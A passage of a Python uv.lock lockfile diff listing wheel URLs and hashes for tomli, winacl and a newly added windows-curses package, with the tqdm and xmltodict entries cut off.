{ url = "https://files.pythonhosted.org/packages/62/05/d2f816630cc771ad836af54f5001f47a6f611d2d39535364f148b6a92d6b/tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac", size = 149859, upload-time = "2026-03-25T20:21:43.386Z" },
{ url = "https://files.pythonhosted.org/packages/ce/48/66341bdb858ad9bd0ceab5a86f90eddab127cf8b046418009f2125630ecb/tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662", size = 244713, upload-time = "2026-03-25T20:21:44.474Z" },
{ url = "https://files.pythonhosted.org/packages/df/6d/c5fad00d82b3c7a3ab6189bd4b10e60466f22cfe8a08a9394185c8a8111c/tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853", size = 252084, upload-time = "2026-03-25T20:21:45.62Z" },
{ url = "https://files.pythonhosted.org/packages/00/71/3a69e86f3eafe8c7a59d008d245888051005bd657760e96d5fbfb0b740c2/tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15", size = 247973, upload-time = "2026-03-25T20:21:46.937Z" },
{ url = "https://files.pythonhosted.org/packages/67/50/361e986652847fec4bd5e4a0208752fbe64689c603c7ae5ea7cb16b1c0ca/tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba", size = 256223, upload-time = "2026-03-25T20:21:48.467Z" },
{ url = "https://files.pythonhosted.org/packages/8c/9a/b4173689a9203472e5467217e0154b00e260621caa227b6fa01feab16998/tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6", size = 98973, upload-time = "2026-03-25T20:21:49.526Z" },
{ url = "https://files.pythonhosted.org/packages/14/58/640ac93bf230cd27d002462c9af0d837779f8773bc03dee06b5835208214/tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7", size = 109082, upload-time = "2026-03-25T20:21:50.506Z" },
{ url = "https://files.pythonhosted.org/packages/d5/2f/702d5e05b227401c1068f0d386d79a589bb12bf64c3d2c72ce0631e3bc49/tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232", size = 96490, upload-time = "2026-03-25T20:21:51.474Z" },
{ url = "https://files.pythonhosted.org/packages/45/4b/b877b05c8ba62927d9865dd980e34a755de541eb65fffba52b4cc495d4d2/tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4", size = 164263, upload-time = "2026-03-25T20:21:52.543Z" },
{ url = "https://files.pythonhosted.org/packages/24/79/6ab420d37a270b89f7195dec5448f79400d9e9c1826df982f3f8e97b24fd/tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c", size = 160736, upload-time = "2026-03-25T20:21:53.674Z" },
{ url = "https://files.pythonhosted.org/packages/02/e0/3630057d8eb170310785723ed5adcdfb7d50cb7e6455f85ba8a3deed642b/tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d", size = 270717, upload-time = "2026-03-25T20:21:55.129Z" },
{ url = "https://files.pythonhosted.org/packages/7a/b4/1613716072e544d1a7891f548d8f9ec6ce2faf42ca65acae01d76ea06bb0/tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41", size = 278461, upload-time = "2026-03-25T20:21:56.228Z" },
{ url = "https://files.pythonhosted.org/packages/05/38/30f541baf6a3f6df77b3df16b01ba319221389e2da59427e221ef417ac0c/tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c", size = 274855, upload-time = "2026-03-25T20:21:57.653Z" },
{ url = "https://files.pythonhosted.org/packages/77/a3/ec9dd4fd2c38e98de34223b995a3b34813e6bdadf86c75314c928350ed14/tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f", size = 283144, upload-time = "2026-03-25T20:21:59.089Z" },
{ url = "https://files.pythonhosted.org/packages/ef/be/605a6261cac79fba2ec0c9827e986e00323a1945700969b8ee0b30d85453/tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8", size = 108683, upload-time = "2026-03-25T20:22:00.214Z" },
{ url = "https://files.pythonhosted.org/packages/12/64/da524626d3b9cc40c168a13da8335fe1c51be12c0a63685cc6db7308daae/tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26", size = 121196, upload-time = "2026-03-25T20:22:01.169Z" },
{ url = "https://files.pythonhosted.org/packages/5a/cd/e80b62269fc78fc36c9af5a6b89c835baa8af28ff5ad28c7028d60860320/tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396", size = 100393, upload-time = "2026-03-25T20:22:02.137Z" },
{ url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 14583, upload-time = "2026-03-25T20:22:03.012Z" },
]
[[package]]
name = "tqdm"
version = "4.70.0"
@@ -2373,6 +2205,21 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/64/82/9be45ef89488ad87870da83271cb734f410373ca86dde76d6907d74cf0e0/winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099", size = 89218, upload-time = "2024-05-06T07:23:14.411Z" },
]
[[package]]
name = "windows-curses"
version = "2.4.2"
source = { registry = "https://pypi.org/simple" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d1/58/5fd430fec0ebe1cef88ddccba345ca119f1b44e58f58d6998878a01c9973/windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864", size = 71135, upload-time = "2026-03-31T12:44:35.863Z" },
{ url = "https://files.pythonhosted.org/packages/84/62/e2bae0ab9c5c80dca9a708a4cb9c8afaf0ef61c8d4459b57f96785040831/windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333", size = 81863, upload-time = "2026-03-31T12:44:36.834Z" },
{ url = "https://files.pythonhosted.org/packages/2e/9c/b2a3706c8edadae8ae88b327ba072d6056ad1b492f9996214cff027e9f01/windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156", size = 71547, upload-time = "2026-03-31T12:44:37.797Z" },
{ url = "https://files.pythonhosted.org/packages/8b/ee/8c5da36191524856fb2c675f8cae99211ccf77bcd4e4a9010477e08000ac/windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a", size = 82282, upload-time = "2026-03-31T12:44:39.106Z" },
{ url = "https://files.pythonhosted.org/packages/b1/54/195f2c4d0258ced34a401c8e3c9eefa2aa2221a9f0179ae64ad3cb039e64/windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d", size = 71458, upload-time = "2026-03-31T12:44:40.184Z" },
{ url = "https://files.pythonhosted.org/packages/47/e8/38fd0fef95271280a77a4f3b65e0961d3c39716388b39c08b3040bfb4f2c/windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925", size = 82200, upload-time = "2026-03-31T12:44:41.503Z" },
{ url = "https://files.pythonhosted.org/packages/d2/22/f90c7d1d83464eb63345802f33e8de41bd732521d9a60a69ad985c8faa90/windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0", size = 77028, upload-time = "2026-03-31T12:44:42.611Z" },
{ url = "https://files.pythonhosted.org/packages/6f/6a/1f8754de746474a049a841e139b443b250a96908d6913ccf2db9a4303584/windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f", size = 86361, upload-time = "2026-03-31T12:44:43.893Z" },
]
[[package]]
name = "xmltodict"
version = "1.0.4"